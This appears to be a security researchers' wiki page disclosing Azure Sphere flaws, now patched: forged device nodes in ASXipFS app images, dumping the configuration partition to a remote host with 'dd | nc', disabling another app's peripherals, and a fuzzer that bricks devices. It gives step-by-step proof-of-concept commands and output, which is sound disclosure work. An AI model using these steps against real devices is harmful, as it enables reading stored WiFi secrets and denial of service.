Skip to content
Ann4Security edited this page Oct 19, 2020 · 17 revisions

These are the issues we had identified. Other participants in MS Closed Bounty program had also identified them and MS has issued a number of security fixes:

TALOS has published a number of vulns:

ASXipFS Device Nodes

The most significant issue we found (as several other teams also found) was the ability to create device entries in the ASXipFS file system. Since this file system is used to package up applications, it is possible to create an application image with device entries owned by the application. It should be noted that since the file permissions are overridden at mount time, the app will only have read permission to the device entry.

POC

To demonstrate this issue we manually modified an ASXipFS file system and changed the inode entries for regular files into device entries. Using our testing tool with an embedded busybox application we performed the following:

  1. Create an app root with regular files standing in for the dev entries:
> mkdir dev
> cd dev
> touch mtd0
> touch mtd1
...

We ended up with an app root structure:

> tree
.
├── app_manifest.json
├── bin
│   ├── app
│   └── busybox
└── dev
    ├── mem
    ├── mtd0
    ├── mtd1
    ├── mtdblock0
    └── mtdblock1
  1. Build a disk image using the azpshere CLI:
> azsphere image-package pack-application -i ./approot -x ./bin/busybox -o main.imagepackage -s 5 -h sample_hardware.json
Azure Sphere Utility version 20.4.10.6179
Copyright (C) Microsoft Corporation. All rights reserved.

Start time (UTC): Thursday, 24 September 2020 17:34:29
Command completed in 00:00:01.1600557.
  1. Modify the built image with a hex editor and convert the regular files into device files. We can figure out the changes we need to make by looking at the get_asxipfs_inode() function from the open source Linux kernel for the azure sphere devices:
File: fs/asxipfs/asxipfs_inode.c
424: static struct inode *get_asxipfs_inode(struct super_block *sb,
425: 	const struct asxipfs_inode *asxipfs_inode, unsigned int offset)
426: {
427: 	struct inode *inode;
---
430: 
431: 	inode = iget_locked(sb, asxipfsino(asxipfs_inode, offset));
---
451: 
452: 	switch (asxipfs_inode->mode & S_IFMT) {
---
453: 	case S_IFREG:
---
462: 	case S_IFDIR:
---
466: 	case S_IFLNK:
---
510: 	default:
511: 		init_special_inode(inode, asxipfs_inode->mode,
512: 				old_decode_dev(asxipfs_inode->size));
513: 	}

We need to make two changes: first modify the asxipfs_inode->mode to one of the special inode type S_IFCHR, S_IFBLK, S_IFIFO, or S_IFSOCK and second encode the major and minor device numbers into the inode size field. The asxipfs_inode is defined as follows:

File: fs/asxipfs/asxipfs.h
65: #define ASXIPFS_MODE_WIDTH 16
66: #define ASXIPFS_UID_WIDTH 16
67: #define ASXIPFS_SIZE_WIDTH 24
68: #define ASXIPFS_GID_WIDTH 8
69: #define ASXIPFS_NAMELEN_WIDTH 6
70: #define ASXIPFS_OFFSET_WIDTH 26
--
81: struct asxipfs_inode {
82: 	__u32 mode:ASXIPFS_MODE_WIDTH, uid:ASXIPFS_UID_WIDTH;
83: 	/* SIZE for device files is i_rdev */
84: 	__u32 size:ASXIPFS_SIZE_WIDTH, gid:ASXIPFS_GID_WIDTH;
85: 	/* NAMELEN is the length of the file name, divided by 4 and
86:            rounded up.  (asxipfs doesn't support hard links.) */
87: 	/* OFFSET: For symlinks and non-empty regular files, this
88: 	   contains the offset (divided by 4) of the file data.  
89:        For non-empty directories it is the offset
90: 	   (divided by 4) of the inode of the first file in that
91: 	   directory.  For anything else, offset is zero. */
92: 	__u32 namelen:ASXIPFS_NAMELEN_WIDTH, offset:ASXIPFS_OFFSET_WIDTH;
93: };

The filename for an inode entry immediately follows the inode. So to make the changes to convert a regular file to a device entry, we located the filename of the regular file and modified the mode and size of the preceding node entry.

For example, the entry for mem:

| Mode | UID  | Size   | GID | Name Len | Offset | Name     |
+------+------+--------+-----+----------+--------+----------+
| A483 | 0000 | 000000 | 00  | 01       | 000000 | 6D656D00 |

Becomes (mode = S_IFCHR + file permissions, size = major device 1, minor device 1):

| Mode | UID  | Size   | GID | Name Len | Offset | Name     |
+------+------+--------+-----+----------+--------+----------+
| A423 | 0000 | 010100 | 00  | 01       | 000000 | 6D656D00 |

The following hex diff shows the changes we made to convert the regular files into device nodes:

  1. Sign the new image using package_tools signer:
> ~/package_tools/signer.py sign main_dev.imagepackage --out main_dev_signed.imagepackage
Detected existing signature, removing it!
Calculated Signature:
00000000: C4 55 1F C4 7D 0B F0 AC  B8 D9 6D 0B 6A CD C4 95  .U..}.....m.j...
00000010: 2A B3 ED 94 70 C6 B2 47  64 1C AB F1 7B CC EE C1  *...p..Gd...{...
00000020: 45 C3 F3 47 10 1D 21 12  BA 2F 08 1A DA 98 B8 1D  E..G..!../......
00000030: F0 38 6E F2 9E 85 FE 0F  26 90 D6 E2 77 EA 00 FB  .8n.....&...w...
  1. Side load the application:
> azsphere dev sl deploy -p main_dev_signed.imagepackage 
Deploying '/mnt/hgfs/MediaTek/Src/github/azsphereapp/main_dev_signed.imagepackage' to the attached device.
Image package '/mnt/hgfs/MediaTek/Src/github/azsphereapp/main_dev_signed.imagepackage' has been deployed to the attached device.
  1. Connect to the test app, launch busy box, locate where the app has been mounted and list the dev directory:
> nc 192.168.35.2 4444

=========================================
Welcome to Anvil's Azure Sphere Test App!
=========================================
> busybox                                                         
ls -l /proc/self/exe
lrwxrwxrwx    1 1009     1009             0 Jan  1 23:25 /proc/self/exe -> /mnt/apps/61ae5c57-98cd-4a0a-8b60-9509505c7617/bin/busybox
ls -l /mnt/apps/61ae5c57-98cd-4a0a-8b60-9509505c7617/dev/
crwxr-x--T    1 sys      1009        1,   1 Jan  1  1970 mem
crwxr-x--T    1 sys      1009       90,   0 Jan  1  1970 mtd0
crwxr-x--T    1 sys      1009       90,   1 Jan  1  1970 mtd1
brwxr-x--T    1 sys      1009       31,   0 Jan  1  1970 mtdblock0
brwxr-x--T    1 sys      1009       31,   1 Jan  1  1970 mtdblock1

Impact

Using this issue it is possible to create any device listed in /proc/devices:

cat /proc/devices
Character devices:
  1 mem
  4 ttyS
  5 /dev/tty
  5 /dev/console
  5 ttyprintk
 10 misc
 89 i2c
 90 mtd
153 spi
249 nullconsole
250 bsg
251 iio
252 rtc
253 pwm-chardev
254 gpiochip

Block devices:
259 blkext
 31 mtdblock

Since the application-manager overrides file permissions on mount, the app will only have read access to the devices. In addition, some devices such as mem require additional capability bits that apps do not have.

In order for an attacker to exploit this issue, they would need to get a signed app image loaded onto the device. On a production device, that would mean the app image must be signed by Microsoft's Azure Sphere cloud service for the tenant associated with the device. We currently know of no way to do this and it would be very challenging to exploit this issue in the real world. It would require either an Azure Cloud bypass or an attack on the developer to create a malicious image before signing.

Currently it is only useful for someone attacking their own devices in development mode.

Dumping MTD/MTDBlock devices

We can use the embedded busybox within our testing app to dd the device and redirect the output via nc to our host.

  1. Listen for a connect back on our host:
> nc -l -p 6666 > mtd0
  1. Use dd to dump the mtdblock1 device and redirect it to the host using nc:
> nc 192.168.35.2 4444

=========================================
Welcome to Anvil's Azure Sphere Test App!
=========================================
> busybox
dd if=/mnt/apps/61ae5c57-98cd-4a0a-8b60-9509505c7617/dev/mtdblock1 | nc 192.168.35.1 6666
129+0 records in
128+0 records out
65536 bytes (64.0KB) copied, 0.043473 seconds, 1.4MB/s
  1. Process the dump file:
> hexdump -C mtdblock1 | head
00000000  09 00 00 00 f0 0f ff f7  6c 69 74 74 6c 65 66 73  |........littlefs|
00000010  2f e0 00 10 00 00 02 00  00 20 00 00 40 00 00 00  |/........ ..@...|
00000020  ff 00 00 00 ff ff ff 7f  fe 03 00 00 1c 10 00 1c  |................|
00000030  00 00 00 00 00 10 00 00  00 00 00 00 00 30 00 06  |.............0..|
00000040  c9 41 3c 30 10 05 75 69  64 5f 6d 61 70 00 30 1c  |.A<0..uid_map.0.|
00000050  23 37 62 61 30 35 66 66  37 2d 37 38 33 35 2d 34  |#7ba05ff7-7835-4|
00000060  62 32 36 2d 39 65 64 61  2d 32 39 61 66 30 63 36  |b26-9eda-29af0c6|
00000070  33 35 32 38 30 20 20 00  2c 09 00 00 00 0a 00 00  |35280  .,.......|
00000080  00 1c 00 00 0c e9 03 00  00 00 10 00 00 e9 03 00  |................|
00000090  00 00 30 00 06 c0 41 3c  00 08 26 31 36 38 39 64  |..0...A<..&1689d|

The mtdblock1 device is the configuration partition. We can read the uid_map and other configuration data, including data stored by other applications. Most notably, it is possible to read the WiFi configuration file (if it has been configured).

MTD Writing

We did not review the MTD IOCTL handlers, but other did and Talos discovered a vulnerably in the Linux MTD IOCTL handlers that allowed for writing, even though the file permissions are read only:

Combining TALOS-2020-1132 with the issue presented here would allow for writing to MTD devices. Since the IOCTL to erase a page does check for write permissions, it would only be possible to flip bits from 1 to 0.

Recommendations/Fixes

Microsoft has addressed this issue in newer firmwares: Azure Sphere 20.07 Security Enhancements

Sideloading the same application above, now fails to list the device entries:

> nc 192.168.35.2 4444

=========================================
Welcome to Anvil's Azure Sphere Test App!
=========================================
> busybox
ls -l /proc/self/exe
lrwxrwxrwx    1 1007     1007             0 Jan  2 00:24 /proc/self/exe -> /mnt/apps/61ae5c57-98cd-4a0a-8b60-9509505c7617/bin/busybox
ls -l /mnt/apps/61ae5c57-98cd-4a0a-8b60-9509505c7617/dev
ls: /mnt/apps/61ae5c57-98cd-4a0a-8b60-9509505c7617/dev/mem: Invalid argument
ls: /mnt/apps/61ae5c57-98cd-4a0a-8b60-9509505c7617/dev/mtd0: Invalid argument
ls: /mnt/apps/61ae5c57-98cd-4a0a-8b60-9509505c7617/dev/mtd1: Invalid argument
ls: /mnt/apps/61ae5c57-98cd-4a0a-8b60-9509505c7617/dev/mtdblock0: Invalid argument
ls: /mnt/apps/61ae5c57-98cd-4a0a-8b60-9509505c7617/dev/mtdblock1: Invalid argument

Peripheral Disable DoS

The Security Monitor driver's SECURITY_MONITOR_ENABLE_PERIPHERAL_DRIVER IOCTL is unauthenticated and any app can call it. Using this IOCTL, it is possible to enable and disable peripherals. Peripherals are GPIO, PWM, INT, UART, SPI Master, I2C Master, ADC, and I2C slaves. When enabling an otherwise disabled peripheral, the peripheral device node is created in /dev.

Examples of enabling devices is in Devices. The created devices are owned by the root user. Under normal conditions when an app specifies a peripheral capability within the app_manifest.json file, the application-manager changes the permissions of devices to allow the app to use it. Since this did not happen, the created device entries are still owned by root and apps do not have access. So enabling devices is of little use, as the app cannot access them.

Disabling peripherals is a different matter. An app can disable a peripheral that another app is using. As an example, an app can disable the UART used by the SLIP connection:

> nc 192.168.35.2 4444

=========================================
Welcome to Anvil's Azure Sphere Test App!
=========================================
> peripheral 4 9 0
...

The SLIP connection to the host is now down until the device is reset.

Impact

A malicious app can disable peripherals of another app. This would not be trivial to exploit as an attacker would have to either get code execution and bypass all the anti-exploitation features of the Azure Sphere device, or somehow get a malicious app signed by Microsoft's Azure Sphere signing service and installed on production devices.

Image Metadata Parsing DoS

Our fuzzing of the image metadata appended to image/package uploaded to device does reliably end up in a condition where the device is rendered non-bootable and requires a recover operation in order to restore functionality when running the 20.05 OS version.

We were unable to isolate a specific cause. The issue would only show itself when running the fuzzer from the start and after 4441 test cases the device would brick itself. Starting with test case #4441, 4440, 4400, and 4000, never triggered the issue. Some state or corruption from an earlier test case is apparently necessary for this issue to arise. For a template file we were using an app image from a test app we wrote (the test template is included with the fuzzer tool).

The following will replicate the issue:

  1. Recover the device and install the 20.05 firmware (the Firmware page has info on how to save a firmware, but if you haven't done this yet the 20.05 firmware might be hard to find):
> azsphere device recover -i /mnt/hgfs/MediaTek/Firmware/mt3620an_20.05/
Starting device recovery. Please note that this may take up to 10 minutes.
Detached 1 kernel modules
Board found. Sending recovery bootloader.
Erasing flash.
Sending 17 images. (5390752 bytes to send)
Sent 1 of 17 images. (5388376 of 5390752 bytes remaining)
Sent 2 of 17 images. (5361516 of 5390752 bytes remaining)
Sent 3 of 17 images. (5246616 of 5390752 bytes remaining)
Sent 4 of 17 images. (5246224 of 5390752 bytes remaining)
Sent 5 of 17 images. (4976244 of 5390752 bytes remaining)
Sent 6 of 17 images. (4959312 of 5390752 bytes remaining)
Sent 7 of 17 images. (4929580 of 5390752 bytes remaining)
Sent 8 of 17 images. (2438416 of 5390752 bytes remaining)
Sent 9 of 17 images. (861220 of 5390752 bytes remaining)
Sent 10 of 17 images. (836644 of 5390752 bytes remaining)
Sent 11 of 17 images. (738128 of 5390752 bytes remaining)
Sent 12 of 17 images. (123508 of 5390752 bytes remaining)
Sent 13 of 17 images. (57760 of 5390752 bytes remaining)
Sent 14 of 17 images. (41164 of 5390752 bytes remaining)
Sent 15 of 17 images. (32768 of 5390752 bytes remaining)
Sent 16 of 17 images. (16384 of 5390752 bytes remaining)
Sent 17 of 17 images. (0 of 5390752 bytes remaining)
Finished writing images; rebooting board.
Device ID: 7BEE580B2EB6391D272AB42BF62FDDCC4E0AAB7475C0B1AFFB0D5CE24F2AACBA1E424224D6B571005518AEFD89A900D9A33EB2E8795598CF63826E348CBCDAA2
Device recovered successfully.
  1. Enable development mode:
> azsphere device enable-development
Device ID: '7BEE580B2EB6391D272AB42BF62FDDCC4E0AAB7475C0B1AFFB0D5CE24F2AACBA1E424224D6B571005518AEFD89A900D9A33EB2E8795598CF63826E348CBCDAA2'
Downloading device capability configuration.
Application updates have already been disabled for this device.
Enabling application development capability on attached device.
Applying device capability configuration to device.
The device is rebooting.
  1. Start the fuzzer:
> ./image_metadata_fuzzer.py templates/test_app.imagepackage --gui
  1. Wait.... Eventually the fuzzer should stop (at the test case #4441) and the device should be in a reboot loop:

Impact

With physical access to the USB port on a device that is in development mode, we could "soft" brick the device. It is possible to recover by going through the recovery process to erase and re-flash the device.

We have not yet tried this on device in production mode, as we did not purchase enough devices to move one into production mode. :( Before enabling development mode, the invalid images had no effect. It is possible that devices in production mode are not vulnerable to this issue.

Fixes

The newer version of the Azure Sphere OS appears to have fixed this issue and we have been unable to replicate the same issue using current firmware.